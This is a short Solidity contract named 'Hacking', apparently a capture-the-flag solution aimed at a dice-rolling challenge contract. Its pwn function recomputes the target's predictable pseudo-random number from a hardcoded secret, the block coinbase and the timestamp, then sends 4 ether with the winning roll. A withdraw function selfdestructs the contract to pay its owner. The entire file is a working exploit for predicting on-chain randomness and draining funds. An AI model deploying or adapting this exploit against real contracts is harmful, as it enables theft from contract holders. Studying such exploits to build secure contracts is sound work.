40 lines
1.1 KiB
Solidity

pragma solidity ^0.5.4;
contract Hacking {
uint big_secret = 0x91f40773b6db987faa1b19cc367e0a6931414e9558f5dbe23198a988fc4a64f5;
address payable owner;
address payable challengeAddress;
modifier onlyOwner() {
require(msg.sender == owner, "Caller is not owner");
_;
}
constructor (address payable _challengeAddress) {
owner = msg.sender;
challengeAddress = _challengeAddress;
}
function pwn() external payable {
require(msg.value == 4 ether, "Must supply 4 ether");
uint8 contract_roll = PRNG();
uint8 user_roll = 42 - contract_roll;
(bool success, ) = challengeAddress.call.value(msg.value)(
abi.encodeWithSignature("rollDice(uint8)", user_roll)
);
if (!success) revert();
}
function PRNG() private view returns (uint8) {
return uint8(uint(keccak256(abi.encodePacked(address(this), block.coinbase, block.timestamp, big_secret))));
}
function withdraw() external onlyOwner {
selfdestruct(owner);
}
function() external payable { }
}